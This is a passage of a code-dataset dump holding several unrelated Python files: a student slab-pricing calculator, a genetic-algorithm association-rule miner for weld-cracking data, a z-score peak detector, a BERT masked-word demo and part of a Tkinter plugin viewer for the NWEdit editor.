= True\r\n break\r\n elif SlabDepthChosen == \"45\":\r\n SlabDepthChosen = 45\r\n print(f\"Slab depth has been set to {SlabDepthChosen}\")\r\n SlabDepthCheck = True\r\n break\r\n else:\r\n print(\"That is not a valid depth\")\r\n\r\nwhile True:\r\n print(\"Please choose a slab shape from the following options:\\nSquare\\nRectangle\\nRound\")\r\n SlabShapeChosen = input().lower()\r\n if SlabShapeChosen in ConstSlabShapeOptions:\r\n if SlabShapeChosen == \"square\":\r\n SlabShapeCheck = True\r\n print(\"Please choose between one of the following sizes (All measurements are in millimeters):\\nPress 'A' for 600x600\\nPress 'B' for 450x450\")\r\n SlabSizeChosen = input().lower()\r\n if SlabSizeChosen == \"a\":\r\n SlabSizeChosen = \"600x600\"\r\n print(\"Slab shape set to square\\nSlab size set to 600mmx600mm\")\r\n SlabSizeCheck = True\r\n break\r\n elif SlabSizeChosen == \"b\":\r\n SlabSizeChosen = \"450x450\"\r\n print(\"Slab shape set to square\\nSlab size set to 450mmx450mm\")\r\n SlabSizeCheck = True\r\n break\r\n else:\r\n print(\"That is not a valid size\")\r\n\r\n elif SlabShapeChosen == \"rectangle\":\r\n SlabShapeCheck = True\r\n print(\"Please choose between one of the following sizes (All measurements are in millimeters):\\nPress 'A' for 600x700\\nPress 'B' for 600x450\")\r\n SlabSizeChosen = input().lower()\r\n if SlabSizeChosen == \"a\":\r\n SlabSizeChosen = \"600x700\"\r\n print(\"Slab shape set to rectangle\\nSlab size set to 600mmx700mm\")\r\n SlabSizeCheck = True\r\n break\r\n elif SlabSizeChosen == \"b\":\r\n SlabSizeChosen = \"600x450\"\r\n SlabSizeCheck = True\r\n print(\"Slab shape set to rectangle\\nSlab size set to 600mmx450mm\")\r\n break\r\n else:\r\n print(\"That is not a valid size\")\r\n\r\n elif SlabShapeChosen == \"round\":\r\n SlabShapeCheck = True\r\n print(\"Please choose between one of the following diameters (All measurements are in millimeters):\\nPress 'A' for 300\\nPress 'B' for 450\")\r\n SlabSizeChosen = input().lower()\r\n if SlabSizeChosen == \"a\":\r\n SlabSizeChosen = \"300\"\r\n print(\"Slab shape set to round\\nSlab diameter set to 300mm\")\r\n SlabSizeCheck = True\r\n break\r\n elif SlabSizeChosen == \"b\":\r\n SlabSizeChosen = \"450\"\r\n print(\"Slab shape set to round\\nSlab diameter set to 450mm\")\r\n SlabSizeCheck = True\r\n break\r\n else:\r\n print(\"That is not a valid size\")\r\n else:\r\n print(\"That is not a valid shape\")\r\n\r\nwhile True:\r\n try:\r\n print(\"The cost of concrete is variable\")\r\n print(\"Please enter the cost of 100000 millimeters cubed of grey concrete in dollars\")\r\n GreyConcreteCost = float(input())\r\n break\r\n except:\r\n print(\"That is not a valid cost\")\r\nprint(f\"Grey concrete cost set to ${GreyConcreteCost}\")\r\n\r\nwhile True:\r\n print(\"Choose one of the following grades of concrete\\n'A' for Basic\\n'B' for Best\")\r\n SlabGradeChosen = input().lower()\r\n if SlabGradeChosen == \"a\":\r\n SlabGradeChosen = \"basic\"\r\n print(f\"Concrete grade set to: Basic\")\r\n break\r\n elif SlabGradeChosen == \"b\":\r\n SlabGradeChosen = \"best\"\r\n print(f\"Concrete grade set to: Best\")\r\n break\r\n else:\r\n print(\"That is not a valid concrete grade\")\r\n\r\nif SlabSizeChosen == \"600x600\":\r\n SingleSlabVolume = (600*600)*SlabDepthChosen\r\n\r\nelif SlabSizeChosen == \"450x450\":\r\n SingleSlabVolume = (450*450)*SlabDepthChosen\r\n\r\nelif SlabSizeChosen == \"600x700\":\r\n SingleSlabVolume = (600*700)*SlabDepthChosen\r\n\r\nelif SlabSizeChosen == \"600x450\":\r\n SingleSlabVolume = (600*450)*SlabDepthChosen\r\n\r\nelif SlabSizeChosen == \"300\":\r\n SingleSlabVolume = (3.142*(150**2))*SlabDepthChosen\r\n\r\nelif SlabSizeChosen == \"450\":\r\n SingleSlabVolume = (3.142*(225**2))*SlabDepthChosen\r\n\r\nTotalSlabVolume = SingleSlabVolume*20\r\n\r\nif SlabGradeChosen == \"basic\":\r\n if SlabColourChosen == \"grey\":\r\n GreySlabPrice = (TotalSlabVolume/100000)*GreyConcreteCost\r\n FinalSlabPrice = GreySlabPrice\r\n elif SlabColourChosen == \"red\" or SlabColourChosen == \"green\":\r\n GreySlabPrice = ((TotalSlabVolume/100000)*GreyConcreteCost)\r\n FinalSlabPrice = ((10/100)*GreySlabPrice) + GreySlabPrice\r\n elif SlabColourCustomCheck == True:\r\n GreySlabPrice = ((TotalSlabVolume/100000)*GreyConcreteCost)\r\n FinalSlabPrice = 5 + ((15/100)*GreySlabPrice) + GreySlabPrice\r\n\r\nelif SlabGradeChosen == \"best\":\r\n if SlabColourChosen == \"grey\":\r\n GreySlabPrice = (TotalSlabVolume/100000)*GreyConcreteCost\r\n FinalSlabPrice = ((7/100)*GreySlabPrice) + GreySlabPrice\r\n elif SlabColourChosen == \"red\" or SlabColourChosen == \"green\":\r\n GreySlabPrice = ((TotalSlabVolume/100000)*GreyConcreteCost)\r\n FinalSlabPrice = ((10/100)*GreySlabPrice) + GreySlabPrice\r\n FinalSlabPrice = ((7/100)*FinalSlabPrice) + FinalSlabPrice\r\n elif SlabColourCustomCheck == True:\r\n GreySlabPrice = ((TotalSlabVolume/100000)*GreyConcreteCost)\r\n FinalSlabPrice = 5 + ((15/100)*GreySlabPrice) + GreySlabPrice\r\n FinalSlabPrice = ((7/100)*FinalSlabPrice) + FinalSlabPrice\r\n\r\nFinalSlabPrice = str(round(FinalSlabPrice, 2))\r\n\r\nif SlabColourCheck == True and SlabDepthCheck == True and SlabShapeCheck == True and SlabSizeCheck == True:\r\n print(f\"The options that you chose are:\\nSlab Colour: {SlabColourChosen.capitalize()}\\nSlab Depth: {SlabDepthChosen}\\nSlab Shape: {SlabShapeChosen.capitalize()}\\nSlab Size: {SlabSizeChosen}\\nGrey Concrete Price: {GreyConcreteCost}\\nSlab Grade = \")\r\n print(f\"The price for your selection is ${FinalSlabPrice}\")\r\n","repo_name":"thearnavsasmal/IGCSE-Computer-Science-Project","sub_path":"Documents/Pre Release Documents/PRM Task 3/Python Files/PRM Task 3.py","file_name":"PRM Task 3.py","file_ext":"py","file_size_in_byte":7648,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"30401561729","text":"import json\nimport pandas as pd \nimport random \nimport math \nimport copy \n\n#Help from here:\n#Normalization: \n#https://www.digitalocean.com/community/tutorials/normalize-data-in-python \n#Coding the cracking variable: https://stackoverflow.com/questions/40901770/is-there-a-simple-way-to-change-a-column-of-yes-no-to-1-0-in-a-pandas-dataframe \n#Random: https://pynative.com/python-random-randrange/\n#https://stackoverflow.com/questions/6824681/get-a-random-boolean-in-python \n#QARM\n#https://www.ibm.com/docs/fi/db2/9.7?topic=associations-support-in-association-rule \n#Help with sorting a class:\n#https://stackoverflow.com/questions/4010322/sort-a-list-of-class-instances-python \n\n\n\n# V1: \n# The data show a definitve screening design to evaluate the the influence of six factors (laser beam power (W), welding speed (m/min), angular position in welding direction (°), focal positon (mm), gas flow rate (l/min), material thickness of the steel sheet (mm)) in three levels and 18 parameter combinations on the weld depth and the geometrical dimensions of the weld metal in laser welded steel-copper joints in the lap configuration with steel on the top side. Every parameter combination was repeated 5 times and every sheet was cuttet 4 times to overall generate 360 cross sections. Every line in the dataset stands for a cross section which was evaluated regarding the dimensions of the weld metal. Additionally, there was a dichotomous data column added for cracking in the weld metal (yes/no). \n# The dataset is not suitable for modelling a precise predicting model of weld depth in the copper sheet, but shows a correlation between cracking (yes/no) and the weld depth in the copper sheet. This can be discribed very well in a binominal logistic regression.\n# Moreover the average crack lenght and count of cracks was added in Versions V1.1 \n\n#six factors (laser beam power (W), welding speed (m/min), angular position in welding direction (°), focal positon (mm), gas flow rate (l/min), material thickness of the steel sheet (mm))\n\n\n\n#csv_path = \"/home/maryeverett/Documents/manufacturing/Screening datasets for laser welded steel-copper lap joints/V1 and V2/\"\ncsv_path = \"V1 and V2/\"\n\n\nload_path = csv_path+\"V1_joints.csv\"\n\nparameters = [\"power (W)\", \"welding speed (m/min)\", \"gas flow rate (l/min)\", \"focal position (mm)\", \"angular position (°)\", \"material thickness (mm)\", \"cracking in the weld metal\"]\n\nmod_parameters = [\"power (W)\", \"welding speed (m/min)\", \"gas flow rate (l/min)\", \"focal position (mm)\", \"angular position (°)\", \"material thickness (mm)\", \"weld depth copper (µm)\"]\n\n\n############################################ PARAMETER CLASS ##################################################\nclass parameter:\n def __init__(self, name, df_row, curr_present=False, curr_upper_bound=None, curr_lower_bound=None, static_val_present=False, static_val=None):\n self.name = name\n #If numerical - may need to fix later\n self.min=df_row.min()\n self.max=df_row.max()\n self.mean=df_row.mean()\n self.median=df_row.median()\n self.mode = df_row.mode()\n self.std = df_row.std()\n #Passed in or not \n self.curr_present=curr_present\n self.curr_upper_bound=curr_upper_bound\n self.curr_lower_bound=curr_lower_bound\n self.static_val_present=static_val_present\n self.static_val=static_val\n\n def random_init(self):\n self.curr_present = bool(random.getrandbits(1))\n self.random_init_bounds()\n\n #This will leave us off somewhere if \n def random_init_bounds(self):\n within_range = False\n while within_range == False:\n self.set_bounds()\n within_range = self.check_range()\n\n def set_bounds(self):\n #Check -- \n item_one = random.uniform(self.min, (self.max-self.min/2))\n item_two = random.uniform(item_one, self.max)\n #print(\"Item one\", item_one)\n #print(\"Item two\", item_two)\n self.curr_lower_bound = item_one\n self.curr_upper_bound = item_two\n\n def check_range(self): \n #.2 is our magic number, admittedly \n if (self.curr_upper_bound-self.curr_lower_bound) > (.5*self.std):\n return False\n else:\n return True\n\n def mutate_range(self, kind): \n safe = False\n while safe == False:\n self.change_bound(kind)\n #Check range not too large\n range_check = self.check_range()\n flop_check = self.check_flop()\n if range_check and flop_check:\n safe = True\n\n def change_bound(self, kind):\n #Change between 5 and 20% of the standard deviation \n change_amount = random.uniform(0, 0.2*self.std)\n #This might be slow, may want to revisit \n #This makes the change randomly positive or negative with a 50% chance \n change_amount = change_amount*random.choice([-1, 1])\n #print(\"----------------------------------------\")\n #print(\"Name: \", self.name)\n #print(\"Bound kind\", kind)\n #print(\"Change amount\", change_amount)\n #print(\"Old lower bound \", self.curr_lower_bound)\n #print(\"Old upper bound \", self.curr_upper_bound)\n if kind == \"lower\":\n self.curr_lower_bound = self.curr_lower_bound+change_amount\n else:\n self.curr_upper_bound = self.curr_upper_bound+change_amount\n\n #print(\"New lower bound \", self.curr_lower_bound)\n #print(\"New upper bound \", self.curr_upper_bound)\n\n def check_flop(self):\n if self.curr_lower_bound > self.curr_upper_bound:\n return False\n else:\n return True\n\n def mutate(self, presence=False, num_in_present=2):\n mutation_options = [\"present\", \"lower\", \"upper\"]\n choice = random.choice(mutation_options)\n #print(\"Mutation Choice \", choice, \"Presence \", presence)\n #print(\"Name \", self.name)\n #If we are mutating presence or absence, we will flip-flop here \n if choice == \"present\" or presence==True:\n #print(\"before self.curr_present\", self.curr_present)\n if self.curr_present:\n if num_in_present > 1:\n new_presence = False\n else:\n new_presence = True\n else:\n new_presence = True\n self.curr_present = new_presence\n #print(\"after self.curr_present\", self.curr_present)\n else:\n self.mutate_range(choice)\n\n\n def print_self(self):\n print(f\"Name: {self.name}\")\n #If numerical - may need to fix later\n print(f\"Min: {self.min}\")\n print(f\"Max: {self.max}\")\n print(f\"Mean: {self.mean}\")\n print(f\"Median: {self.median}\")\n #print(f\"Mode: {self.mode}\")\n print(f\"Std Dev: {self.std}\")\n #Passed in or not \n print(f\"Currently present?: {self.curr_present}\")\n print(f\"Current Upper Bound: {self.curr_upper_bound}\")\n print(f\"Current Lower Bound: {self.curr_lower_bound}\")\n print(f\"Static Value Present?: {self.static_val_present}\")\n print(f\"Static Value: {self.static_val}\")\n\n def print_basics(self): \n print(f\"Name: {self.name}\")\n print(f\"Currently present?: {self.curr_present}\")\n print(f\"Current Upper Bound: {self.curr_upper_bound}\")\n print(f\"Current Lower Bound: {self.curr_lower_bound}\")\n print()\n\n def print_precedent_basics(self):\n print(f\"Name: {self.name}\")\n print(f\"Static Value Present?: {self.static_val_present}\")\n print(f\"Static Value: {self.static_val}\")\n print()\n \n\n\n\n####################### RULE CLASS #########################################\nclass rule:\n def __init__(self, df, mod_parameter_pool, precedent=None):\n self.df = df \n self.mod_parameter_pool = mod_parameter_pool.copy()\n #This will be a list of parameter classes \n self.antecedent = self.random_init()\n #This will be the precedent of interest \n self.precedent = precedent\n self.present_antecedent = self.present_params()\n\n #These are rule metrics \n self.support = None\n self.support_num = None\n self.confidence = None\n self.lift = None\n self.score = None\n self.num_antecedent=None\n self.num_precedent=None\n\n def random_init(self):\n antecedent_list = []\n for item in self.mod_parameter_pool:\n param = parameter(item, df[item])\n param.random_init()\n antecedent_list.append(param)\n return antecedent_list\n\n #Make it random if it is present or not\n #If it is present, make sure \n\n def mutate(self): \n #Pick ONE of the rules in the antecedent\n #Another hyperparameter, but lets make a 70% chance it will mutate a bound\n #And a 30% chance it will change the presence/absence of a rule\n #But lets still limit to one rule? \n #Might need to fix this, a bit odd \n self.present_antecedent = self.present_params_mutate()\n #print(\"Present Before\")\n #print(len(self.present_antecedent))\n present_mutation_rule = random.choice(self.present_antecedent)\n all_mutation_rule = random.choice(self.antecedent)\n kind_of_mutation = random.choices([\"present\", \"all\"], weights=[70, 30], k=1)[0]\n #Mutate that rule \n #print(\"********************Kind of mutation \", kind_of_mutation)\n num_in_present = len(self.present_antecedent)\n #print(num_in_present)\n if kind_of_mutation == \"present\":\n present_mutation_rule.mutate(presence=False, num_in_present=num_in_present)\n else:\n all_mutation_rule.mutate(presence=True, num_in_present=num_in_present)\n self.present_antecedent = self.present_params_mutate()\n\n def calc_score(self): \n #This is where we will fill in confidence, lift, and support! \n #Figure out exactly how we want to score? \n #Start with quantminer -- ? or if can't find, start with equal weighting. \n #Pretty naiive right now! - just adding each \n #OLD - plain vanilla no special score run \n #score = self.calc_support_percent() + self.calc_confidence() + self.calc_lift()\n score = 5*self.calc_support_percent() + self.calc_confidence() + 5*(abs(1-self.calc_lift()))\n\n self.score = score\n return score \n\n #Returns list of parameter objects that are actually present \n def present_params(self):\n return_list = []\n for item in self.antecedent:\n if item.curr_present == True:\n return_list.append(item)\n if len(return_list) > 1:\n actual_list = random.sample(return_list, 2)\n for item in return_list:\n if item not in actual_list:\n item.curr_present = False\n return actual_list\n #If return list is still empty \n if return_list == []:\n item = random.choice(self.antecedent)\n item.curr_present = True\n return_list.append(item)\n return return_list\n else:\n return return_list\n\n def present_params_mutate(self):\n return_list = []\n for item in self.antecedent:\n if item.curr_present == True:\n return_list.append(item)\n return return_list\n\n\n def num_containing_antecedent_only(self):\n next_filter = self.df\n for item in self.present_antecedent:\n next_filter = next_filter.loc[(next_filter[item.name] >= item.curr_lower_bound) & (next_filter[item.name] <= item.curr_upper_bound)]\n self.num_antecedent = len(next_filter.index)\n return len(next_filter.index)\n\n\n def num_containing_precedent_only(self):\n next_filter = self.df\n if isinstance(self.precedent, list):\n for item in self.precedent:\n next_filter = next_filter.loc[(next_filter[item.name] == item.static_val)]\n else:\n item = self.precedent\n next_filter = next_filter.loc[(next_filter[item.name] == item.static_val)]\n self.num_precedent = len(next_filter.index)\n return len(next_filter.index)\n\n def calc_support_percent(self):\n #Make it percent of total. \n #calculate the NUMBER of rules in the database that have the antecedent and precedent which meet the criteria!!! \n # a / b : \n # a - number containing ALL items appearing in rule\n # b - total groups considered \n num_obs = len(self.df)\n next_filter = self.df\n for item in self.present_antecedent:\n next_filter = next_filter.loc[(next_filter[item.name] >= item.curr_lower_bound) & (next_filter[item.name] <= item.curr_upper_bound)]\n if isinstance(self.precedent, list):\n for item in self.precedent:\n next_filter = next_filter.loc[(next_filter[item.name] == item.static_val)]\n else:\n item = self.precedent\n next_filter = next_filter.loc[(next_filter[item.name] == item.static_val)]\n self.support_num = len(next_filter.index)\n self.support = len(next_filter.index)/num_obs\n return len(next_filter.index)/num_obs\n\n def calc_support_num(self):\n num_obs = len(self.df)\n next_filter = self.df\n for item in self.present_antecedent:\n next_filter = next_filter.loc[(next_filter[item.name] >= item.curr_lower_bound) & (next_filter[item.name] <= item.curr_upper_bound)]\n if isinstance(self.precedent, list):\n for item in self.precedent:\n next_filter = next_filter.loc[(next_filter[item.name] == item.static_val)]\n else:\n item = self.precedent\n next_filter = next_filter.loc[(next_filter[item.name] == item.static_val)]\n self.support_num = len(next_filter.index)\n return len(next_filter.index)\n\n def calc_confidence(self):\n confidence = 0.0\n #Ratio m/n\n #m - number of groups containing both rule head and rule body\n #n - number of groups containing just rule body \n m = self.calc_support_num()\n n = self.num_containing_antecedent_only()\n if n > 0:\n confidence = m/n\n else:\n confidence = 0.0 \n self.confidence = confidence\n return confidence \n\n def calc_lift(self):\n lift = 0.0\n conf = self.calc_confidence()\n supp_head = self.num_containing_antecedent_only()\n if supp_head > 0:\n lift = conf/supp_head\n self.lift = lift\n return lift\n\n def print_self(self):\n print(\"RULE: \")\n print(\"Antecedent\")\n for item in self.present_antecedent:\n #item.print_self()\n item.print_basics()\n print(\"Precedent\")\n #self.precedent.print_self()\n self.precedent.print_precedent_basics()\n\n def print_metrics(self):\n print(f\"Support: {self.support}\")\n print(f\"Confidence: {self.confidence}\")\n print(f\"Lift: {self.lift}\")\n print(f\"Overall Score: {self.score}\")\n\n def __lt__(self, other):\n return self.score < other.score\n\n\n\n################################################# POPULATION CLASS ###################################################################\n#How many top rules to hold? \n#10% hyperparameter of number of rules to hold in top \n#See first if we can init these rules, then worry about scoring them and making new populations \nclass population:\n def __init__(self, df, mod_parameters, pop_size, precedent, top_keep=2, mutation_rate=0.2):\n #Passes parameters\n self.df = df \n self.mod_parameter_pool = self.init_mod_parameter_pool(mod_parameters)\n self.mod_parameter_pool_list = mod_parameters\n self.pop_size = pop_size\n self.top_keep = top_keep\n self.mutation_rate = mutation_rate \n #Calculated\n self.retain_rules = math.ceil(pop_size*.1)\n self.mutation_number = math.ceil(self.pop_size*self.mutation_rate)\n #List of rules \n self.rules_pop = self.init_rules_pop()\n self.score_population()\n self.prev_rules_pop = []\n self.global_top_rules = []\n self.global_top_rules_scores = []\n self.top_rules = []\n self.top_rules_scores = []\n self.precedent = precedent\n \n\n\n def init_rules_pop(self):\n rules_pop = []\n for i in range(0, self.pop_size):\n new_rule = rule(self.df, self.mod_parameter_pool_list.copy(), precedent=precedent)\n new_rule.random_init()\n rules_pop.append(new_rule)\n return rules_pop\n\n def score_population(self):\n for rule in self.rules_pop:\n #print(\"Rule score\")\n rule.calc_support_percent()\n rule.calc_confidence()\n rule.calc_lift()\n rule.calc_score()\n #self.print_rules()\n #rule.print_metrics()\n\n def init_mod_parameter_pool(self, mod_parameters):\n param_pool = []\n for param in mod_parameters:\n param_pool.append(parameter(param, self.df[param]))\n return param_pool\n \n def run_generation(self):\n #Score pop.\n #self.score_population()\n #Top x rules get copied to the top rules list. -- these are automatically kept. \n self.rules_pop.sort(reverse=True)\n self.top_rules = copy.deepcopy(self.rules_pop[:self.top_keep])\n self.top_rules_scores = [x.score for x in self.top_rules]\n # print(\"Local-----------------------------\")\n # self.print_top_rules_metrics()\n # print(\"Global-----------------------------\")\n # self.print_global_top_rules_metrics()\n #Replace any better rules with global top rules list ]\n temp_list = copy.deepcopy(self.global_top_rules)\n #temp_list = copy.deepcopy(self.global_top_rules) + copy.deepcopy(self.top_rules)\n\n for rule in self.top_rules:\n if rule.score not in self.global_top_rules_scores:\n temp_list.append(rule)\n temp_list = [*set(temp_list)]\n temp_list.sort(reverse=True)\n self.global_top_rules = copy.deepcopy(temp_list[:self.top_keep])\n self.global_top_rules_scores = [x.score for x in self.global_top_rules]\n #copy current generation to the prev generation - eventually add tournament selection \n self.prev_rules_pop = copy.deepcopy(self.rules_pop)\n #Mutate any current gen with a score of 0\n for i in range(0, len(self.rules_pop)):\n if self.rules_pop[i].score <= 0.00:\n self.rules_pop[i].mutate()\n #Mutate an additional mutation_rate% (want in-place, so don't copy here)\n mutate_list = random.sample(self.rules_pop, self.mutation_number)\n for rule in mutate_list:\n #print(\"Before\")\n #rule.print_self()\n rule.mutate()\n #print(\"After\")\n #rule.print_self()\n #May add this later!! \n self.score_population()\n #self.rules_pop[-self.top_keep:] = copy.deepcopy(self.top_rules)\n\n def save_rules_to_csv(self, name, which=\"global\", k=10):\n if which==\"global\":\n working_list = self.global_top_rules\n else:\n working_list = self.rules_pop\n #Take top k rules \n saving_list = working_list[:k]\n all_rules_list = [] \n for rule in saving_list:\n rule_list = []\n rule_list.append(\"SCORES: s, c, l, score\")\n rule_list.append(rule.support)\n rule_list.append(rule.confidence)\n rule_list.append(rule.lift)\n rule_list.append(rule.score)\n rule_list.append(\"RULES\")\n for item in rule.present_antecedent:\n rule_list.append(item.name)\n rule_list.append(item.curr_lower_bound)\n rule_list.append(item.curr_upper_bound)\n all_rules_list.append(rule_list)\n\n df = pd.DataFrame(all_rules_list)\n #print(df.head())\n save_name = name+\".csv\"\n df.to_csv(save_name)\n\n\n def run_experiment(self, generations, status=False):\n for i in range(0, generations):\n if status:\n print(f\" Generation {i}\")\n self.run_generation()\n if status:\n print(f\"Global Top rules scores: {self.global_top_rules_scores}\")\n print(f\"Local Top rules scores: {self.top_rules_scores}\")\n\n #Add back in later!!! \n print(\"Global top rules scores\")\n print(self.global_top_rules_scores)\n print(\"Current top rules scores\")\n print(self.global_top_rules_scores)\n print(\"Top Rules: \")\n for rule in self.global_top_rules:\n print()\n rule.print_self()\n rule.print_metrics()\n \n\n def print_self(self):\n print(\"Modulation parameters: \")\n for param in self.mod_parameter_pool_list:\n print()\n param.print_self()\n print(f\"Pop size: \", self.pop_size)\n print(f\"Number of top rules to retain: \", self.retain_rules)\n \n def print_rules(self):\n print(\"Rules: \")\n for item in self.rules_pop:\n item.print_self()\n\n def print_top_rules_metrics(self):\n print(\"Local top rules metrics\")\n for rule in self.top_rules:\n rule.print_metrics()\n\n def print_global_top_rules_metrics(self):\n print(\"Global top rules metrics\")\n for rule in self.global_top_rules:\n rule.print_metrics()\n\n\n#If you run into issues, make sure you are figuring out \n#if copy is working correctly!!! \n\ndef load_in():\n df = pd.read_csv(load_path)\n df[\"cracking in the weld metal\"] = df[\"cracking in the weld metal\"].map(dict(yes=1, no=0))\n #print(df.head())\n return df \n\n\ndf = load_in()\nprecedent = parameter(\"cracking in the weld metal\", df[\"cracking in the weld metal\"], static_val_present=True, static_val=1)\n\n# pop_size = 100\n# mutation_rate = 0.2\n# top_keep = 10\n# generations = 25\n\npop_size = 200\nmutation_rate = 0.2\ntop_keep = 10\ngenerations = 500\n\n\npop = population(df, mod_parameters, pop_size, precedent, mutation_rate=mutation_rate, top_keep=top_keep)\n\npop.run_experiment(generations, status=False)\npop.save_rules_to_csv(\"time_5_life_5_time_support_500_gen_200_pop\")\n\n\n","repo_name":"marzeverett/manufacturing","sub_path":"Screening datasets for laser welded steel-copper lap joints/process.py","file_name":"process.py","file_ext":"py","file_size_in_byte":22402,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"73500379144","text":"import numpy as np\nimport matplotlib.pylab as plt\n\ndef peak_detection_smoothed_zscore_v2(x, lag, threshold, influence):\n '''\n iterative smoothed z-score algorithm\n Implementation of algorithm from https://stackoverflow.com/a/22640362/6029703\n '''\n\n labels = np.zeros(len(x))\n filtered_y = np.array(x)\n avg_filter = np.zeros(len(x))\n std_filter = np.zeros(len(x))\n var_filter = np.zeros(len(x))\n\n avg_filter[lag - 1] = np.mean(x[0:lag])\n std_filter[lag - 1] = np.std(x[0:lag])\n var_filter[lag - 1] = np.var(x[0:lag])\n for i in range(lag, len(x)):\n if abs(x[i] - avg_filter[i - 1]) > threshold * std_filter[i - 1]:\n if x[i] > avg_filter[i - 1]:\n labels[i] = 1\n else:\n labels[i] = -1\n filtered_y[i] = influence * x[i] + (1 - influence) * filtered_y[i - 1]\n else:\n labels[i] = 0\n filtered_y[i] = x[i]\n # update avg, var, std\n avg_filter[i] = avg_filter[i - 1] + 1. / lag * (filtered_y[i] - filtered_y[i - lag])\n var_filter[i] = var_filter[i - 1] + 1. / lag * ((filtered_y[i] - avg_filter[i - 1]) ** 2 - (\n filtered_y[i - lag] - avg_filter[i - 1]) ** 2 - (filtered_y[i] - filtered_y[i - lag]) ** 2 / lag)\n std_filter[i] = np.sqrt(var_filter[i])\n\n return dict(signals=labels,\n avgFilter=avg_filter,\n stdFilter=std_filter)\n\n\nsignal = [1, 1, 1.1, 1, 0.9, 1, 1, 1.1, 1, 0.9, 1, 1.1, 1, 1, 0.9, 1, 1, 1.1, 1, 1, 1, 1, 1.1, 0.9, 1, 1.1, 1, 1, 0.9, 1,\n1.1, 1, 1, 1.1, 1, 0.8, 0.9, 1, 1.2, 0.9, 1, 1, 1.1, 1.2, 1, 1.5, 1, 3, 2, 5, 3, 2, 1, 1, 1, 0.9, 1, 1, 3, \n 2.6, 4, 3, 3.2, 2, 1, 1, 0.8, 4, 4, 2, 2.5, 1, 1, 1]\n\nlag = 5 # lag 5 for the smoothing functions\nthreshold = 3.5 # 3.5 standard deviations for signal\ninfluence = 0.5 \n\nres = peak_detection_smoothed_zscore_v2(signal, lag, threshold, influence)\n\n\nfig = plt.figure()\nplt.ylabel('Signal') \nplt.xlabel('Time')\nax = fig.add_subplot(111)\nax.set_title(\"Peak detection\") \nax.plot(signal, color='r', label='Signal')\nax.plot(res['signals'], color='g', label='Peaks')\nax.plot(res['avgFilter'], color='b', label='avgFilter')\nax.plot(res['stdFilter'], color='y', label='stdFilter')\nax.legend()\n\nplt.show()","repo_name":"laser-ufpb/sac-dm","sub_path":"peak_detection_smoothed_zscore.py","file_name":"peak_detection_smoothed_zscore.py","file_ext":"py","file_size_in_byte":2266,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"81"} +{"seq_id":"31707968298","text":"\"\"\"Masked Language Model example.\n\"\"\"\nimport torch\nimport argparse\n\nimport yaml\nimport numpy as np\nfrom bert import BERTLM\nfrom tokenizers import SentencePieceTokenizer\nimport os\n\n\ndef fill_mask(bertlm, tokenizer, in_text, mask_pos):\n if type(in_text) == str:\n s_list = tokenizer.encode(in_text, str)\n\n label = s_list[mask_pos]\n label_id = tokenizer.sp.piece_to_id(label)\n\n s_list[mask_pos] = \"\"\n x = torch.tensor(tokenizer.sp.piece_to_id(s_list)).unsqueeze(0)\n seg = torch.ones(1, len(x)).long()\n pred_ns, pred_vocab = bertlm(x, seg)\n pred_vocab = pred_vocab[0]\n pred_vocab.shape\n pred_id = torch.argmax(pred_vocab[mask_pos]).item()\n pred = tokenizer.sp.decode([pred_id])\n pred_prob = pred_vocab[mask_pos][pred_id].exp().item()\n label_prob = pred_vocab[mask_pos][label_id].exp().item()\n\n return {\n \"pred\": {\n \"text\": pred,\n \"prob\": pred_prob,\n },\n \"label\": {\"text\": label, \"prob\": label_prob, \"nll\": -np.log(label_prob)},\n }\n\n\ndef main():\n parser = argparse.ArgumentParser()\n parser.add_argument(\n \"-c\",\n \"--config\",\n type=str,\n default=\"config/jawiki.yaml\",\n help=\"configuration yaml file\",\n )\n parser.add_argument(\n \"--checkpoint\",\n type=str,\n help=\"model checkpoint path\",\n )\n parser.add_argument(\n \"-t\",\n \"--text\",\n type=str,\n help=\"input text\",\n default=\"日本の首都は東京で,アメリカの首都はワシントンです\",\n )\n args = parser.parse_args()\n\n with open(args.config, \"r\") as f:\n config = yaml.load(f, Loader=yaml.Loader)\n\n tp = config[\"training_params\"]\n tokenizer = SentencePieceTokenizer(\n in_path=tp[\"train_f\"], model_prefix=tp[\"model_prefix\"], vocab_size=config[\"model_params\"][\"vocab_size\"]\n )\n\n assert os.path.isfile(args.checkpoint)\n bertlm = BERTLM.load_from_checkpoint(args.checkpoint)\n bertlm.eval()\n with torch.no_grad():\n s_list = tokenizer.encode(args.text, str)\n for i in range(len(s_list)):\n res = fill_mask(bertlm, tokenizer, args.text, i)\n masked = s_list[:]\n masked[i] = f\"pred:\\\"{res['pred']['text']}\\\" / orig:\\\"{masked[i]}\\\"\"\n print(masked)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"jojonki/BERT","sub_path":"run_mlm.py","file_name":"run_mlm.py","file_ext":"py","file_size_in_byte":2341,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"25573713908","text":"from tkinter import ttk\n\nimport json5rw as json\n\nfrom src.Components.winframe import WinFrame\nfrom src.SettingsParser.configfiles import DEFAULT_PLUGIN_DATA, PLUGIN_DATA\nfrom src.Utils.images import get_image\n\n\nclass PluginView(WinFrame):\n def __init__(self, master):\n super().__init__(master, \"Plugins\", icon=get_image(\"info\"))\n with DEFAULT_PLUGIN_DATA.open() as f:\n self.settings = json.load(f)\n with PLUGIN_DATA.open() as f:\n self.settings |= json.load(f)\n self.plugins = ttk.Treeview(self, columns=(\"name\", \"desc\"))\n self.plugins.heading(\"name\", text=\"Name\", anchor=\"w\")\n self.plugins.heading(\"desc\", text=\"Description\", anchor=\"w\")\n\n self.plugins.column(\"#0\", width=15, minwidth=15, stretch=False)\n self.plugins.column(\"name\", width=50, minwidth=50)\n self.plugins.column(\"desc\", width=80, minwidth=80)\n self.plugins.pack(fill=\"both\", expand=True)\n self.update_plugins()\n\n def update_plugins(self):\n node = self.plugins.insert(\n \"\",\n \"end\",\n values=(\"Bundled\", \"Comes with NWEdit, you cannot uninstall.\"),\n open=True,\n )\n docs = []\n for index, item in enumerate(self.settings.keys()):\n exec(\n f\"\"\"\\\nfrom src.{self.settings[item]} import Plugin\ndoc = Plugin.__doc__\ndocs.append(doc)\"\"\",\n locals(),\n globals(),\n )\n 